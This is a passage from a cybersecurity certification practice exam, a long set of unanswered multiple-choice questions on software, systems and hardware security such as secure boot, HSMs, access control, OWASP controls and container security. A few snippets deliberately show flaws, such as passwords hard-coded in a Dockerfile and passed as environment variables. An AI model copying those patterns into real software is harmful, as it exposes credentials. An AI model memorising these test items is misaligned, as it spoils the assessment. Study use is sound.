True negative

False positive

False negative

Gwen is reviewing a vulnerability report and discovers that an internal system contains a serious flaw. After reviewing the issue with her manager, they decide that the system is sufficiently isolated and they will take no further action. What risk management strategy are they adopting?

Risk avoidance

Risk mitigation

Risk transference

Risk acceptance

Thomas discovers a vulnerability in a web application that is part of a proprietary system developed by a third-party vendor and he does not have access to the source code. Which one of the following actions can he take to mitigate the vulnerability without involving the vendor?

Apply a patch

Update the source code

Deploy a web application firewall

Conduct dynamic testing

Kira is using the aircrack-ng tool to perform an assessment of her organization’s security. She ran a scan and is now reviewing the results. Which one of the following issues is she most likely to detect with this tool?

Insecure WPA key

SQL injection vulnerability

Cross-site scripting vulnerability

Man-in-the-middle attack

Walt is designing his organization’s vulnerability management program and is working to identify potential inhibitors to vulnerability remediation. He has heard concern from functional leaders that remediating vulnerabilities will impact the ability of a new system to fulfill user requests. Which one of the following inhibitors does not apply to this situation?

Degrading functionality

Organizational governance

Legacy systems

Business process interruption

Chapter 2
Domain 2.0: Software and Systems Security

EXAM OBJECTIVES COVERED IN THIS CHAPTER:

2.1 Given a scenario, apply security solutions for infrastructure management.

Cloud vs. on-premises

Asset management

Segmentation

Network architecture

Change management

Virtualization

Containerization

Identity and access management

Cloud access security broker (CASB)

Honeypot

Monitoring and logging

Encryption

Certificate management

Active defense

2.2 Explain software assurance best practices.

Platforms

Software development lifecycle (SDLC) integration

DevSecOps

Software assessment methods

Secure coding best practices

Static analysis tools

Dynamic analysis tools

Formal methods for verification of critical software

Service-oriented architecture

2.3 Explain hardware assurance best practices.

Hardware root of trust

eFuse

Unified Extensible Firmware Interface (UEFI)

Trusted Foundry

Secure processing

Anti-tamper

Self-encrypting drive

Trusted firmware updates

Measured boot and attestation

Bus encryption

What purpose does a honeypot system serve when placed on a network as shown in the following diagram?

It prevents attackers from targeting production servers.

It provides information about the techniques attackers are using.

It slows down attackers like sticky honey.

It provides real-time input to IDSs and IPSs.

A tarpit, or a system that looks vulnerable but actually is intended to slow down attackers, is an example of what type of technique?

A passive defense

A sticky defense

An active defense

A reaction-based defense

As part of a government acquisitions program for the U.S. Department of Defense, Sean is required to ensure that the chips and other hardware level components used in the switches, routers, and servers that he purchases do not include malware or other potential attack vectors. What type of supplier should Sean seek out?

A TPM

An OEM provider

A trusted foundry

A gray-market provider

Susan needs to test thousands of submitted binaries. She needs to ensure that the applications do not contain malicious code. What technique is best suited to this need?

Sandboxing

Implementing a honeypot

Decompiling and analyzing the application code

Fagan testing

Manesh downloads a new security tool and checks its MD5. What does she know about the software she downloaded if she receives the following message:

root@demo:~# md5sum -c demo.md5
demo.txt: FAILED
md5sum: WARNING: 1 computed checksum did NOT match

The file has been corrupted.

Attackers have modified the file.

The files do not match.

The test failed and provided no answer.

Tracy is designing a cloud infrastructure for her company and wants to generate and store encryption keys in a secure way. What type of technology should she look for as part of her infrastructure as a service vendor's portfolio?

TPM

HSM

UEFI

VPC

Aziz needs to provide SSH access to systems behind his datacenter firewall. If Aziz's organization uses the system architecture shown here, what is the system at point A called?

A firewall-hopper

An isolated system

A moat-protected host

A jump box

Charles wants to provide additional security for his web application, which currently stores passwords in plaintext in a database. Which of the following options will best prevent theft of the database resulting in exposed passwords?

Encrypt the database of plaintext passwords

Use MD5 and a salt

Use SHA-1 and a salt

Use bcrypt

What type of protected boot process is illustrated in the following diagram?

Measured boot

TPM

Remote attestation

Signed BIOS

An access control system that relies on the operating system to constrain the ability of a subject to perform operations is an example of what type of access control system?

A discretionary access control system

A role-based access control system

A mandatory access control system

A level-based access control system

During his analysis of a malware sample, Sahib reviews the malware files and binaries without running them. What type of analysis is this?

Automated analysis

Dynamic analysis

Static analysis

Heuristic analysis

Carol wants to analyze a malware sample that she has discovered. She wants to run the sample safely while capturing information about its behavior and impact on the system it infects. What type of tool should she use?

A static code analysis tool

A dynamic analysis sandbox tool

A Fagan sandbox

A decompiler running on an isolated VM

Use the following scenario for questions 13–15.

Mike is in charge of the software testing process for his company. They perform a complete set of tests for each product throughout its lifespan. Use your knowledge of software assessment methods to answer the following questions.

A new web application has been written by the development team in Mike's company. They used an Agile process and have built a tool that fits all of the user stories that the participants from the division that asked for the application outlined. If they want to ensure that the functionality is appropriate for all users in the division, what type of testing should Mike perform?

Stress testing

Regression testing

Static testing

User acceptance testing

Mike's development team wants to expand the use of the software to the whole company, but they are concerned about its performance. What type of testing should they conduct to ensure that the software will not fail under load?

Stress testing

Regression testing

Static testing

User acceptance testing

Two years after deployment, Mike's team is ready to roll out a major upgrade to their web application. They have pulled code from the repository that it was checked into but are worried that old bugs may have been reintroduced because they restored additional functionality based on older code that had been removed in a release a year ago. What type of testing does Mike's team need to perform?

Stress testing

Regression testing

Static testing

User acceptance testing

Susan is reviewing files on a Windows workstation and believes that cmd.exe has been replaced with a malware package. Which of the following is the best way to validate her theory?

Submit cmd.exe to VirusTotal.

Compare the hash of cmd.exe to a known good version.

Check the file using the National Software Reference Library.

Run cmd.exe to make sure its behavior is normal.

As part of her malware analysis process, Caitlyn diagrams the high-level functions and processes that the malware uses to accomplish its goals. What is this process known as?

Static analysis

Composition

Dynamic analysis

Decomposition

As a U.S. government employee, Michael is required to ensure that the network devices that he procures have a verified chain of custody for every chip and component that goes into them. What is this program known as?

Gray-market procurement

Trusted foundry

White-market procurement

Chain of procurement

Padma is evaluating the security of an application developed within her organization. She would like to assess the application's security by supplying it with invalid inputs. What technique is Padma planning to use?

Fault injection

Stress testing

Mutation testing

Fuzz testing

Nishi is deploying a new application that will process sensitive health information about her organization's clients. In order to protect this information, the organization is building a new network that does not share any hardware or logical access credentials with the organization's existing network. What approach is Nishi adopting?

Network interconnection

Network segmentation

Virtual LAN (VLAN) isolation

Virtual private network (VPN)

Bobbi is deploying a single system that will be used to manage a very sensitive industrial control process. This system will operate in a standalone fashion and not have any connection to other networks. What strategy is Bobbi deploying to protect this SCADA system?

Network segmentation

VLAN isolation

Airgapping

Logical isolation

Which software development life cycle model is illustrated in the image?

Waterfall

Spiral

Agile

RAD

Geoff has been asked to identify a technical solution that will reduce the risk of captured or stolen passwords being used to allow access to his organization's systems. Which of the following technologies should he recommend?

Captive portals

Multifactor authentication

VPNs

OAuth

The company that Amanda works for is making significant investments in infrastructure as a service hosting to replace their traditional datacenter. Members of her organization's management have expressed concerns about data remanence when Amanda's team moves from one virtual host to another in their cloud service provider's environment. What should she instruct her team to do to avoid this concern?

Zero-wipe drives before moving systems.

Use full-disk encryption.

Use data masking.

Span multiple virtual disks to fragment data.

Huan is hiring a third-party consultant who will have remote access to the organization's datacenter, but he would like to approve that access each time it occurs. Which one of the following solutions would meet Huan's needs in a practical manner?

Huan should keep the consultant's password himself and provide it to the consultant when needed, and then immediately change the password after each use.

Huan should provide the consultant with the password but configure his own device to approve logins via multifactor authentication.

Huan should provide the consultant with the password but advise the consultant that she must advise him before using the account and then audit those attempts against access logs.

Huan should create a new account for the consultant each time she needs to access the datacenter.

Ian is reviewing the security architecture shown here. This architecture is designed to connect his local datacenter with an IaaS service provider that his company is using to provide overflow services. What component can be used at the points marked by the question marks (?s) to provide a secure encrypted network connection?

Firewall

VPN

IPS

DLP

Which one of the following technologies is not typically used to implement network segmentation?

Host firewall

Network firewall

VLAN tagging

Routers and switches

Which one of the following approaches is an example of a formal code review process?

Pair programming

Over-the-shoulder

Fagan inspection

Pass-around code review

The Open Web Application Security Project (OWASP) maintains an application called Orizon. This application reviews Java classes and identifies potential security flaws. What type of tool is Orizon?

Fuzzer

Static code analyzer

Web application assessor

Fault injector

Barney's organization mandates fuzz testing for all applications before deploying them into production. Which one of the following issues is this testing methodology most likely to detect?

Incorrect firewall rules

Unvalidated input

Missing operating system patches

Unencrypted data transmission

Kobe wants to provide access to a jump box in a secured network. What technology should he deploy to allow a secure connection to the system through untrusted intermediary networks?

VPC

An air gap

A VPN

Physical segmentation

Mia would like to ensure that her organization's cybersecurity team reviews the architecture of a new ERP application that is under development. During which SDLC phase should Mia expect the security architecture to be completed?

Analysis and Requirements Definition

Design

Development

Testing and Integration

Which one of the following security activities is not normally a component of the Operations and Maintenance phase of the SDLC?

Vulnerability scans

Disposition

Patching

Regression testing

Which hardware device is used on endpoint devices to store RSA encryption keys specific to that device to allow hardware authentication?

A SSD

A hard drive

A MFA token

A TPM

Which one of the following testing techniques is typically the final testing done before code is released to production?

Unit testing

Integration testing

User acceptance testing

Security testing

Use the following scenario for questions 36–38.

Olivia has been put in charge of performing code reviews for her organization and needs to determine which code analysis models make the most sense based on specific needs her organization has. Use your knowledge of code analysis techniques to answer the following questions.

Olivia's security team has identified potential malicious code that has been uploaded to a webserver. If she wants to review the code without running it, what technique should she use?

Dynamic analysis

Fagan analysis

Regression analysis

Static analysis

Olivia's next task is to test the code for a new mobile application. She needs to test it by executing the code and intends to provide the application with input based on testing scenarios created by the development team as part of their design work. What type of testing will Olivia conduct?

Dynamic analysis

Fagan analysis

Regression analysis

Static analysis

After completing the first round of tests for her organization's mobile application, Olivia has discovered indications that the application may not handle unexpected data well. What type of testing should she conduct if she wants to test it using an automated tool that will check for this issue?

Fault injection

Fagan testing

Fuzzing

Failure injection

Which one of the following characters would not signal a potential security issue during the validation of user input to a web application?

<

`

>

$

The Open Web Application Security Project (OWASP) maintains a listing of the most important web application security controls. Which one of these items is least likely to appear on that list?

Implement identity and authentication controls

Implement appropriate access controls

Obscure web interface locations

Leverage security frameworks and libraries

Kyle is developing a web application that uses a database backend. He is concerned about the possibility of an SQL injection attack against his application and is consulting the OWASP proactive security controls list to identify appropriate controls. Which one of the following OWASP controls is least likely to prevent a SQL injection attack?

Parameterize queries

Validate all input

Encode data

Implement logging and intrusion detection

Jill's organization has adopted an asset management tool. If she wants to identify systems on the network based on a unique identifier per machine that will not normally change over time, which of the following options can she use for network-based discovery?

IP address

Hostname

MAC address

None of the above

Barcodes and RFID tags are both frequently used for what asset management practice?

Asset disposition

Asset tagging

Asset acquisition

Asset lifespan estimation

What type of secure boot process is shown in the following image?

Remote attestation

Measured boot

Logged loader

UEFI

Ian has been asked to deploy a secure wireless network in parallel with a public wireless network inside his organization's buildings. What type of segmentation should he implement to do so without adding additional costs and complexity?

SSID segmentation

Logical segmentation

Physical segmentation

WPA segmentation

Barbara has segmented her virtualized servers using VMware to ensure that the networks remain secure and isolated. What type of attack could defeat her security design?

VLAN hopping

802.1q trunking vulnerabilities

Compromise of the underlying VMware host

BGP route spoofing

What major issue would Charles face if he relied on hashing malware packages to identify malware packages?

Hashing can be spoofed.

Collisions can result in false positives.

Hashing cannot identify unknown malware.

Hashing relies on unencrypted malware samples.

Noriko wants to ensure that attackers cannot access his organization's building automation control network. Which of the following segmentation options provides the strongest level of assurance that this will not happen?

Air gap

VLANs

Network firewalls

Host firewalls

What type of network device is most commonly used to connect two or more networks to forward traffic between them?

A switch

A firewall

A router

An IPS

Use the following scenario for questions 50–53.

Angela is a security practitioner at a mid-sized company that recently experienced a serious breach due to a successful phishing attack. The company has committed to changing their security practices across the organization and has assigned Angela to determine the best strategy to make major changes that will have a significant impact right away.

Angela's company has relied on passwords as their authentication factor for years. The current organizational standard is to require an eight-character, complex password, and to require a password change every 12 months. What recommendation should Angela make to significantly decrease the likelihood of a similar phishing attack and breach in the future?

Increase the password length.

Shorten the password lifespan.

Deploy multifactor authentication.

Add a PIN to all logins.

Angela has decided to roll out a multifactor authentication system. What are the two most common factors used in MFA systems?

Location and knowledge

Knowledge and possession

Knowledge and biometric

Knowledge and location

As part of the investigation after the breach, Angela's team noticed that some staff were using organizational resources after hours when they weren't supposed to be logged in. What type of authentication model could she deploy to use information about an employee's role and work hours to manage when they can be logged in?

Location factors

Biometric factors

Context based authentication

Multifactor authentication

Angela's multifactor deployment includes the ability to use text (SMS) messages to send the second factor for authentication. What issues should she point to?

VoIP hacks and SIM swapping

SMS messages are logged on the recipient's phones

PIN hacks and SIM swapping

VoIP hacks and PIN hacks

Keith needs to manage digital keys, and he wants to implement a hardware security module in his organization. What U.S. government standard are hardware security modules often certified against?

PCI-DSS

HSM-2015

FIPS 140-2

CA-Check

What purpose does the OpenFlow protocol serve in software-defined networks?

It captures flow logs from devices.

It allows software-defined network controllers to push changes to devices to manage the network.

It sends flow logs to flow controllers.

It allows devices to push changes to SDN controllers to manage the network.

What type of access control system relies on the operating system to control the ability of subjects to perform actions on objects through a set of policies controlled by a policy administrator?

RBAC

MAC

DAC

ABAC

What term is used to describe an isolated pool of cloud resources for a specific organization or user allocated inside of a public cloud environment?

VPN

VPC

CDA

CCA

Rick's security research company wants to gather data about current attacks and sets up a number of intentionally vulnerable systems that allow his team to log and analyze exploits and attack tools. What type of environment has Rick set up?

A tarpit

A honeypot

A honeynet

A blackhole

Kalea wants to prevent DoS attacks against her serverless application from driving up her costs when using a cloud service. What technique is not an appropriate solution for her need?

Horizontal scaling

API keys

Setting a cap on API invocations for a given timeframe

Using timeouts

What is the purpose of change management in an organization?

Ensuring changes are scheduled

Ensuring changes are documented

Ensuring that only approved changes are made

All of the above

What is the key difference between virtualization and containerization?

Virtualization gives operating systems direct access to the hardware, whereas containerization does not allow applications to directly access the hardware.

Virtualization lets you run multiple operating systems on a single physical system, whereas containerization lets you run multiple applications on the same system.

Virtualization is necessary for containerization, but containerization is not necessary for virtualization.

There is not a key difference; they are elements of the same technology.

Which software development methodology is illustrated in the diagram?

Spiral

RAD

Agile

Waterfall

What advantage does a virtual desktop infrastructure have when addressing data theft?

No data is stored locally on the endpoint device

Built-in DLP

All data is encrypted at rest

All data is stored locally on the endpoint device

Brandon is designing the hosting environment for containerized applications. Application group A has personally identifiable information, Application group B has health information with different legal requirements for handling, and Application group C has business sensitive data handling requirements. What is the most secure design for his container orchestration environment given the information he has?

Run a single, highly secured container host with encryption for data at rest.

Run a container host for each application group and secure them based on the data they contain.

Run a container host for groups A and B, and a lower-security container host for group C.

Run a container host for groups A and C, and a health information–specific container host for group B due to the health information it contains.

Local and domain administrator accounts, root accounts, and service accounts are all examples of what type of account?

Monitored accounts

Privileged accounts

Root accounts

Unprivileged accounts

Ned has discovered a key logger plugged into one of his workstations, and he believes that an attacker may have acquired usernames and passwords for all of the users of a shared workstation. Since he does not know how long the keylogger was in use or if it was used on multiple workstations, what is his best security option to prevent this and similar attacks from causing issues in the future?

Multifactor authentication

Password complexity rules

Password lifespan rules

Prevent the use of USB devices

Facebook Connect, CAS, Shibboleth, and ADFS are all examples of what type of technology?

Kerberos implementations

Single sign-on implementations

Federation technologies

OAuth providers

Which of the following is not a common identity protocol for federation?

SAML

OpenID

OAuth

Kerberos

Mei is designing her organization's datacenter network and wants to establish a secure zone and a DMZ. If Mei wants to ensure that user accounts and traffic that manage systems in the DMZ are easily auditable, and that all access can be logged while helping prevent negative impacts from compromised or infected workstations, which of the following solutions is Mei's best design option?

Administrative virtual machines run on administrator workstations

A jump host

A bastion host

SSH or RDP from administrative workstations

The identity management system used by Greg's new employer provides rights based on his job as a system administrator. What type of access control system is this?

RBAC

MAC

DAC

ABAC

During a periodic audit of account privileges, Rhonda reviews the account rights in an Active Directory domain for every administrative user and removes any rights to directories or systems that should no longer be available to the administrative users. What type of review is this?

Manual review

IAM assessment

Mandatory audit review

Discretional audit review

Naomi wants to enforce her organization's security policies on cloud service users. What technology is best suited to this?

OAuth

CASB

OpenID

DMARC

Lucca wants to ensure that his Windows logs capture events for one month. What setting should he change in the settings to ensure this?

Increase the size of the log file to 40480.

Leave the log file as is.

Change the setting to archive the log when full.

Clear the log to start clean.

Elliott wants to encrypt data sent between his servers. What protocol is most commonly used for secure web communications over a network?

TLS

SSL

IPSec

PPTP

What occurs when a website's certificate expires?

Web browsers will report an expired certificate to users.

The website will no longer be accessible.

The certificate will be revoked.

All of the above.

What term is used to describe defenses that obfuscate the attack surface of an organization by deploying decoys and attractive targets to slow down or distract an attacker?

An active defense

A honeyjar

A bear trap

An interactive defense

The OWASP mobile application security checklist's cryptography requirements include a requirement that the application uses “proven implementations of cryptographic primitives.” What does this requirement mean, and why is it in the checklist?

Only use basic cryptographic techniques to ensure that developers can understand them

Only use proven versions of cryptographic algorithms so that they will be secure

Only use in-house developed and tested cryptographic algorithms to avoid known vulnerabilities

Only use open source cryptographic techniques to ensure that their source code can be reviewed

Claire knows that a web application that her organization needs to have in production has vulnerabilities due to a recent scan using a web application security scanner. What is her best protection option if she knows that the vulnerability is a known SQL injection flaw?

A firewall

An IDS

A WAF

DLP

Use the following scenario to answer questions 79–81.

Donna has been assigned as the security lead for a DevSecOps team building a new web application. As part of the effort, she has to oversee the security practices that the team will use to protect the application. Use your knowledge of secure coding practices to help Donna guide her team through this process.

A member of Donna's team recommends building a blacklist to avoid dangerous characters like ‘and <script> tags. How could attackers bypass a blacklist that individually identified those characters?

They can use a binary attack.

They can use alternate encodings.

They can use different characters with the same meaning.

The characters could be used together to avoid the blacklist.

The design of the application calls for client-side validation of input. What type of tool could an attacker use to bypass this?

An XSS injector

A web proxy

A JSON interpreter

A SQL injector

A member of Donna's security team suggests that output encoding should also be considered. What type of attack is the team member most likely attempting to prevent?

Cross-site scripting

SQL injection

Cross-site request forgery

All of the above

What type of access control system uses information like age, title, organization ID, or security clearance to grant privileges?

RBAC

MAC

DAC

ABAC

Alex has deployed a new model of network connected Internet of Things (IoT) devices throughout his organization's facilities to track environmental data. The devices use a system on a chip (SOC) and Alex is concerned about potential attacks. What is the most likely exploit channel for SOCs in this environment?

Physical attacks

Attacks via an untrusted foundry

Attacks against the operating system and software

Side channel attacks

Nathan downloads a BIOS update from Dell's website, and when he attempts to install it on the PC, he receives an error that the hash of the BIOS does not match the hash stored on Dell's servers. What type of protection is this?

Full-disk encryption

Firmware protection

Operating system protection

None of the above

What practice is typical in a DevSecOps organization as part of a CI/CD pipeline?

Automating some security gates

Programmatic implementation of zero-day vulnerabilities

Using security practitioners to control the flow of the CI/CD pipeline

Removing security features from the IDE

Naomi wants to validate files that are uploaded as part of her web application. Which of the following is not a common technique to help prevent malicious file uploads or denial of service attacks?

Using input validation to ensure only allowed file extensions

Uploading all files to a third-party virus scanning platform like VirusTotal

Checking the size of uploaded files against a maximum allowed file size

Checking zip files for their structure and path before unzipping them

Valerie wants to prevent potential cross-site scripting attacks from being executed when previously entered information is displayed in user's browsers. What technique should she use to prevent this?

A firewall

A HIDS

Output encoding

String randomization

While developing a web application, Chris sets his session ID length to 128 bits based on OWASP's recommended session management standards. What reason would he have for needing such a long session ID?

To avoid duplication

To allow for a large group of users

To prevent brute-forcing

All of the above

Robert is reviewing a web application and the developers have offered four different responses to incorrect logins. Which of the following four responses is the most secure option?

Login failed for user; invalid password

Login failed; invalid user ID or password

Login failed; invalid user ID

Login failed; account does not exist

What technology is most commonly used to protect data in transit for modern web applications?

VPN

TLS

SSL

IPSec

Nathan is reviewing PHP code for his organization and finds the following code in the application he is assessing. What technique is the developer using?

$stmt = $dbh->prepare("INSERT INTO REGISTRY (var1, var2) VALUES (:var1, :var2)");
$stmt->bindParam(':var1', $var1);
$stmt->bindParam(':var2', $var2);

Dynamic binding

Parameterized queries

Variable limitation

None of the above

Which of the following components is not typically part of a service-oriented architecture?

Service provider

Service guardian

Service broker

Service consumer

Which role in a SAML authentication flow validates the identity of the user?

The SP

The IDP

The principal

The RP

Anja is assessing the security of a SOAP-based web service implementation. Which of the following web service security requirements should she recommend to reduce the likelihood of a successful man-in-the-middle attack?

Use TLS.

Use XML input validation.

Use XML output validation.

Virus-scan files received by web service.

Which of the following components are not part of a typical SOAP message?

The envelope

The header

The stamp

The body

Alice wants to ensure proper access control for a public REST service. What option is best suited to help ensure that the service will not suffer from excessive use?

Restricting HTTP methods

Using JSON web tokens

Using API keys

Using HTTPS

How are requests in REST-based web services typically structured?

As XML

As a URL

As a SQL query

As a SOAP statement

While reviewing the code for a Docker-based microservice, Erik discovers the following code:

echo "pidfile = /run/example.pid">> /etc/example.conf && \
echo "logfile = /data/logs/example.log">> /etc/example.conf && \
echo "loglevel = debug">> /etc/example.conf && \
echo "port = : 5159">> /etc/example.conf && \
echo "username = svc">> /etc/example.conf && \
echo "password = secure">> /etc/example.conf && \

What has he found?

A misconfigured microservice

Hard-coded credentials

Improperly configured log files

A prohibited port

What type of access is typically required to compromise a physically isolated and air-gapped system?

Wired network access

Physical access

Wireless network access

None of the above, because an isolated, air-gapped system cannot be accessed

The organization that Allan works for wants to securely store digital keys for their enterprise security certificates. What type of device should they select to help manage and protect their keys?

A hardware token

A HSM

A PEBKAC

A cigar box CA

Charlene wants to provide an encrypted network connection for her users. She knows her users require a full network connection rather than application specific uses. What VPN technology should she choose?

SSL

TLS

IPSec

WPA2

How are eFuses used to prevent firmware downgrades?

If they are burned, the firmware cannot be changed.

The number of fuses burned indicates the current firmware level, preventing old versions from being installed.

eFuses must be reset before firmware can be downgraded, requiring administrative access.

eFuses cannot be used to prevent firmware downgrades.

Dev wants to use Secure Boot on a workstation. What technology must his workstation use to support Secure Boot?

BIOS

ROM

UEFI

TPM

What requirements must be met for a trusted execution environment to exist?

All trusted execution environment assets must have been installed and started securely.

The trusted execution environment must be verified and certified by a third party.

The trusted execution environment must be verified and approved by the end user.

Only trusted components built into the operating system can be run in a trusted execution environment.

What hardware feature do Apple devices use to manage keys in a secure way outside of the processor?

A cryptographic bastion

A Secure Enclave

A HSM

A cryptolocker

Which of the following is not a typical capability of processor security extensions?

Data and instruction path integrity checks

Error detection for memory and registers

Stack bounds checking

Secure register wiping capabilities

What concept describes a security process that ensures that another process or device cannot perform read or write operations on memory while an operation is occurring?

Nonblocking memory

Memory coherence

Atomic execution

Trusted execution

Use the following scenario to answer questions 108–111.

Tom connects to a website using the Chrome web browser. The site uses TLS encryption and presents the digital certificate shown here.

Who created the digital signature shown in the last line of this digital certificate?

Starfield Services

Amazon

nd.edu

RSA

Which one of the following websites would not be covered by this certificate?

nd.edu

www.nd.edu

www.business.nd.edu

All of these sites would be covered by the certificate.

What encryption key does the certificate contain?

The website's public key

The website's private key

Tom's public key

Tom's private key

After Tom initiates a connection to the website, what key is used to encrypt future communications from the web server to Tom?

The website's public key

The website's private key

Tom's public key

The session key

Holographic stickers are a common tool used for what type of security practice?

Anti-tamper

Anti-theft

Asset management

Asset tracking

Olivia has been tasked with identifying a solution that will prevent the exposure of data on a drive if the drive itself is stolen. What type of technology should she recommend?

MFA

SED

P2PE

eSATA

Amanda's organization wants to ensure that user awareness, documentation, and other tasks are accomplished and tracked as new infrastructure is added and modified. What type of tool should they acquire?

A project management tool

An IDE

A change management tool

A ticketing tool

Christina wants to check the firmware she has been provided to ensure that it is the same firmware that the manufacturer provides. What process should she follow to validate that the firmware is trusted firmware?

Download the same file from the manufacturer and compare file size.

Compare a hash of the file to a hash provided by the manufacturer.

Run strings against the firmware to find any evidence of tempering.

Submit the firmware to a malware scanning site to verify that it does not contain malware.

Amanda's organization uses an air-gap design to protect the HSM device that stores their root encryption certificate. How will Amanda need to access the device if she wants to generate a new certificate?

Wirelessly from her laptop

Over the wired network from her PC

From a system on the air-gapped network

Amanda cannot access the device without physical access to it

What is the key difference between a secured boot chain and a measured boot chain?

A secured boot chain depends on a root of trust.

A measured boot chain computes the hash of the next object in the chain and stores it securely.

A secured boot chain computes the hash of the next object in the chain and stores it securely.

A measured boot chain depends on a root of trust.

Encrypted data transmission from a CPU to a GPU is an example of what type of technology?

Secure Enclave

Bus encryption

Hardware security module

Software security module

Which of the following parties directly communicate with the end user during a SAML transaction?

The relying party

The SAML identity provider

Both the relying party and the identity provider

Neither the relying party nor the identity provider

What type of dedicated device is used in organizations that can generate keys, create and validate digital signatures, and provide cryptoprocessing to both encrypt and decrypt data?

HSMs

BGPs

SSMs

None of the above

Saeed wants to ensure that devices procured by his company are captured in inventory and tracked throughout their lifespan via physical inventory tracking methods. What can he do to make sure that the assets are easier to quickly identify against an asset inventory?

Record them in a database

Record them via paper forms

Use asset tagging

Use hardware address-based tagging

Isaac is developing a mobile application and is following the OWASP Mobile Application Security Checklist. Which of the following is a practice he should not follow?

The application will use symmetric cryptography with hard-coded keys as its sole method of encryption.

Data for the application will be encoded on the network using TLS any time data is sent or received.

The application will use the Secure Enclave on iOS devices to store cryptographic keys.

The application invalidates sessions after a predetermined period of inactivity and session tokens expire.

Micro-probing, applying unexpected or out of specification voltages or clock signals, and freezing a device are all examples of types of attacks prevented by what type of technique?

DRM

Anti-theft

Anti-tamper

Fault tolerance

Patricia wants to protect updated firmware for her organization's proprietary hardware when it is installed and is concerned about third parties capturing the information as it is transferred between the host system and the hardware device. What type of solution should she use to protect the data in transit if the device is a PCIe internal card?

Bus encryption

CPU encryption

Full-disk encryption

DRM

Piper wants to delete the contents of a self-encrypting drive (SED). What is the fastest way to securely do so?

Use a full-drive wipe following DoD standards.

Delete the encryption key for the drive.

Use a degausser.

Format the drive.

What type of module is required to enable Secure Boot and remote attestation?

A TPM module

A HSM

A GPM

An MX module

Although both Secure Boot and Measured Boot processes rely on a chain of trust, only one validates the objects in the chain. Which technology does this and what process does it follow?

A Secured Boot chain validates the boot objects using private keys to check against public keys already in the BIOS.

A Measured Boot chain computes the hash of the next object in the chain and compares it to the hash of the previous object.

A Secured Boot chain computes the hash of the next object in the chain and compares it to the hash of the previous object.

A Measured Boot chain validates the boot objects using private keys to check against public keys already in the BIOS.

What type of operation occurs in a way that prevents another processor or I/O device from reading or writing to a memory location that is in use by the operation until the operation is complete?

A complete operation

A fractional operation

Atomic execution

Perpendicular execution

Adil is attempting to boot a system that uses UEFI and has Secure Boot enabled. During the boot process, the system will not start because of a recognized key error. What has occurred?

The user has not entered their passphrase.

The drive token needs updated.

A USB token is not plugged in.

The operating system may not be secure.

Support for AES, 3DES, ECC, and SHA-256 are all examples of what?

Encryption algorithms

Hashing algorithms

Processor security extensions

Bus encryption modules

Bernie sets up a VPC for his organization and connects to it through a VPN. What has he created and where?

A private segment of a public cloud

A private segment of a local virtualization environment

A public segment of a private cloud

A public segment of a local virtualization environment

What types of attacks can API keys help prevent when used to limit access to a REST-based service?

Brute-force attacks

Time-of-access/time-of-use attacks

Man-in-the-middle attacks

Denial-of-service attacks

Which of the following is not a benefit of physical segmentation?

Easier visibility into traffic

Improved network security

Reduced cost

Increased performance

Use the following diagram to answer the next three questions.

Scott has designed a redundant infrastructure, but his design still has single points of failure. Which of the single points of failure is most likely to cause an organizationwide Internet outage?

Point A

Point C

Point E

Point F

After identifying the single point of failure for his connectivity, Scott wants to fix the issue. What would be the best solution for the issue he identified?

A second connection from the same ISP on the same fiber path

A second connection from a different ISP on the same fiber path

A second connection from the same ISP on a different fiber path

A second connection from a different ISP on a different fiber path

Scott has been asked to review his infrastructure for any other critical points of failure. If point E is an edge router and individual workstations are not considered mission critical, what issue should he identify?

Point D

Point E

Point F

None of the above

Which of the following options is most effective in preventing known password attacks against a web application?

Account lockouts

Password complexity settings

CAPTCHAs

Multifactor authentication

Ben adds a unique, randomly generated string to each password before it is hashed as part of his web application's password storage process. What is this process called?

Mashing

Hashing

Salting

Peppering

Which of the following is not a common use case for network segmentation?

Creating a VoIP network

Creating a shared network

Creating a guest wireless network

Creating trust zones

Kwame discovers that secrets for a microservice have been set as environment variables on the Linux host that he is reviewing using the following command:

docker run -it -e "DBUSER= appsrv" -e DBPASSWD=secure11" dbappsrv

Which processes can read the environment variables?

The dbuser

The Docker user

All processes on the system

Root and other administrative users

What three layers make up a software defined network?

Application, Datagram, and Physical layers

Application, Control, and Infrastructure layers

Control, Infrastructure, and Session layers

Data link, Presentation, and Transport layers

Which of the following is not a security advantage of VDI?

No data is stored locally on the endpoint device.

Patch management is easier due to use of a single central image.

VDI systems cannot be infected with malware.

There is isolation of business tools and files even when using personally owned devices.

Micah is designing a containerized application security environment and wants to ensure that the container images he is deploying do not introduce security issues due to vulnerable applications. What can he integrate into the CI/CD pipeline to help prevent this?

Automated checking of application hashes against known good versions

Automated vulnerability scanning

Automated fuzz testing

Automated updates

Susan wants to optimize the DevOps workflow as part of a DevSecOps initiative. What optimization method should she recommend to continuously integrate security without slowing work down?

Automate some security gates.

Perform security testing before development.

Perform security testing only after all code is fully operational.

None of the above.

Camille wants to integrate with a federation. What will she need to authenticate her users to the federation?

An IDP

A SP

An API gateway

A SSO server

Answer the next three questions based on your knowledge of container security and the following scenario.

Brandon has been tasked with designing the security model for container use in his organization. He is working from the NIST SP 800-190 document and wants to follow NIST recommendations wherever possible.

What can Brandon do to create a hardware-based basis for trusted computing?

Only use in-house computing rather than cloud computing.

Use a hardware root of trust like a TPM module and Secure Boot methods.

Manually inspect hardware periodically to ensure that no keyloggers or other unexpected hardware is in place.

Only use signed drivers.

Brandon needs to deploy containers with different purposes, data sensitivity levels, and threat postures to his container environment. How should he group them?

Segment containers by purpose

Segment containers by data sensitivity

Segment containers by threat model

All of the above

What issues should Brandon consider before choosing to use the vulnerability management tools he has in his non-container-based security environment?

Vulnerability management tools may make assumptions about host durability.

Vulnerability management tools may make assumptions about update mechanisms and frequencies.

Both A and B

Neither A nor B

Timing information, power consumption monitoring, electromagnetic emanation monitoring, and acoustic monitoring are all examples of what types of attacks against SOCs, embedded systems, and other platforms?

Trusted foundry attacks

Side-channel attacks

Primary channel attacks

Untrusted foundry attacks

What key functionality do enterprise privileged account management tools provide?

Password creation

Access control to individual systems

Entitlement management across multiple systems

Account expiration tools

Amira wants to deploy an open standard–based single sign-on (SSO) tool that supports both authentication and authorization. What open standard should she look for if she wants to federate with a broad variety of identity providers and service providers?

LDAP

SAML

OAuth

OpenID Connect

Nathaniel wants to use an access control system that takes into account information about resources like the resource owner, filename, and data sensitivity. What type of access control system should he use?

ABAC

DAC

MAC

RBAC

What secure processing technique requires an operation to be complete before the memory locations it is accessing or writing to can be used by another process?

Trusted execution

Atomic execution

Anti-tamper

Bus encryption

